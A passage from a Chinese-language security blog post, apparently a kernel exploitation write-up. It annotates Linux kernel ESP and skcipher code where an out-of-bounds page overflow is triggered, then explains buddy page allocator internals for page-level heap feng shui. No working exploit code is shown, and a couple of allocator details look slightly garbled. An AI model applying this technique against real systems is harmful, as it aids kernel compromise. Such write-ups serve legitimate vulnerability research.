0px;">null_skcipher_crypt</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(struct skcipher_request *req)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">skcipher_walk</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">walk</span>;</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    err = skcipher_walk_virt(&amp;walk, req, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">false</span>);            <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [3] walk-&gt;dst = req.dst</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">while</span> (walk.nbytes) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (walk.src.virt.addr != walk.dst.virt.addr)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">memcpy</span>(walk.dst.virt.addr, walk.src.virt.addr,  <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">// [4]  trigger OOB</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>                   walk.nbytes);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        err = skcipher_walk_done(&amp;walk, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">return</span> err;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">漏洞缺陷</strong>：作者利用时，发送 16-page 数据，可以溢出 8-page，问题是 esp_output_fill_trailer() 会根据消息长度和所用协议类型，在末尾添加几个字节（对我们来说是垃圾数据）。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">static</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">inline</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">void</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">esp_output_fill_trailer</span><span style="font-size: inherit;color: rgb(255, 152, 35);line-height: inherit;margin: 0px;padding: 0px;">(u8 *tail, <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> tfclen, <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> plen, __u8 proto)</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></span>{<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(128, 128, 128);line-height: inherit;margin: 0px;padding: 0px;">/* Fill padding... */</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">if</span> (tfclen) {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">memset</span>(tail, <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>, tfclen);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        tail += tfclen;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    }<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">do</span> {<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">int</span> i;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>        <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">for</span> (i = <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>; i &lt; plen - <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">2</span>; i++)<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>            tail[i] = i + <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">1</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    } <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">while</span> (<span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">0</span>);<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    tail[plen - <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">2</span>] = plen - <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">2</span>;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    tail[plen - <span style="font-size: inherit;color: rgb(174, 135, 250);line-height: inherit;margin: 0px;padding: 0px;">1</span>] = proto;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>}<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><hr style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5rem 0px;padding: 0px;height: 1px;border-color: rgb(165, 165, 165) currentcolor currentcolor;border-style: dashed none none;border-width: 1px medium medium;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="font-size: 1.4em;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2. Buddy system 知识</span></h2><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">说明</strong>：分析伙伴系统的原理是研究 page-level heap fengshui 的前提。</p><h3 style="font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;">2-1 page allocator</span></h3><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;">页分配器的知识可以参见 page_alloc.c 源码。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">简介</strong>：Linux page allocator 管理内核底层的物理页，SLUB / SLAB / SLOB 内存分配器都在 Page allocator 之上。例如，当内核耗尽所有 kmalloc-4k slab之后，内存分配器会向 Page allocator 申请内存，由于 kmalloc-4k 位于 8-page slab （order 3），所以 Page allocator 会申请 8-page 内存给内存分配器。</p><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">存储结构</strong>：Page allocator 采用 free_area 结构（zone-&gt;free_area 数组，长度为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">MAX_ORDER == 1</code>，所以最大order为11）来保存空闲页，也就是个保存不同 order/size 页的数组，采用 order 来区分不同大小的页（例如，N-order 表示大小为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">PAGE_SIZE&lt;&lt;3</code> 的页；order-0 就表示大小为 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">PAGE_SIZE</code> 的页）。<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_area</code> 中每个 order 都对应一个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>，从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 分配或将页释放后放入 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>。</p><pre style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="white-space:pre-wrap;font-size: 14px;color: rgb(169, 183, 198);line-height: 18px;margin: 0px 2px;padding: 0.5em;overflow-wrap: normal !important;border-radius: 0px;background: none 0% 0% repeat scroll rgb(40, 43, 46);font-family: Consolas, Inconsolata, Courier, monospace;display: block;word-break: normal !important;overflow-x: auto;overflow-y: auto !important;font-weight: normal;word-spacing: 0px;letter-spacing: 0px;"><span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">free_area</span> {</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"><span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">struct</span> <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">list_head</span>    <span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">free_list</span>[<span style="font-size: inherit;color: rgb(165, 218, 45);line-height: inherit;margin: 0px;padding: 0px;">MIGRATE_TYPES</span>];</span><br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>    <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">unsigned</span> <span style="font-size: inherit;color: rgb(248, 35, 117);line-height: inherit;margin: 0px;padding: 0px;">long</span>       nr_free;<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/>};<br style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;"/></code></pre><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">cache 与页分配</strong>：不同的slab如果耗尽了会申请不同 order 的页，例如，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">kmalloc-256</code> 会从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-0</code> 申请页，而 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">kmalloc-512</code> 会从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-1</code> 申请页，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">kmalloc-4k</code> 会从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 申请页。</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5707070707070707" data-s="300,640" style="" data-type="png" data-w="396" src="https://wechat2rss.xlab.app/img-proxy/?k=763ce909&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXS9w9DKiaR5UBQKXPJdDOfOcicqwR5UzZicDRHz4Micq43lBBB2ibfDxLTxPA%2F640%3Fwx_fmt%3Dpng"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">1-understand-free_area</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">split page</strong>：如果 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中没有空闲页，则 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">lower-order free_area</code> 从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">higher-order free_area</code> 取页，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">higher-order free_area</code> 将页一分为二，然后 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">lower-order free_area</code> 将页返回给申请者（例如 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">alloc_pages()</code>）。例如，当 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code>（4-page）的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 耗尽之后，就从 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 申请页，<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 的页分成两个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">4-page</code> 页，位于低地址的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">4-page</code> 返回给申请者，高地址的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">4-page</code> 保存在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 的<code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中供下次申请。原理如下所示：</p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5625579240037072" style="" data-type="gif" data-w="1079" src="https://wechat2rss.xlab.app/img-proxy/?k=e42a1e09&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FRcjPiba6l3dpJ0ekOWuC958TtjFPTaXXSj96NibiaB7uADC8eRtzzhZ2t8GkBj2tqc5j7fn5IO5P5vYvOgrD3oksw%2F640%3Fwx_fmt%3Dgif"/></p><figure style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><figcaption style="font-size: 0.7em;color: rgb(153, 153, 153);line-height: inherit;margin: 10px 0px 0px;padding: 0px;text-align: center;">2-higher-order-split-to-lower-order</figcaption></figure><p style="font-size: 16px;color: rgb(62, 62, 62);line-height: inherit;margin: 1.5em 0px;padding: 0px;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="font-size: inherit;color: inherit;line-height: inherit;margin: 0px;padding: 0px;font-weight: bold;">merge page</strong>：如果 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code> 中有很多空闲页，页分配器会整合两个相邻的、order相同的页，并放入 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">higher-order free_area</code> 。还是以刚才的例子来看，假设 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-3</code> 被分成两个 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 的页，其中一个存放在 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">free_list</code>，只要被分配的页又被释放回 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 248);">order-2</code> 的 <code style="font-size: inherit;color: rgb(233, 105, 0);line-height: inherit;margin: 0px 2px;padding: 2px 4px;overflow-wrap: break-word;border-radius: 4px;background: none 0% 0% repeat scroll rgb(248, 248, 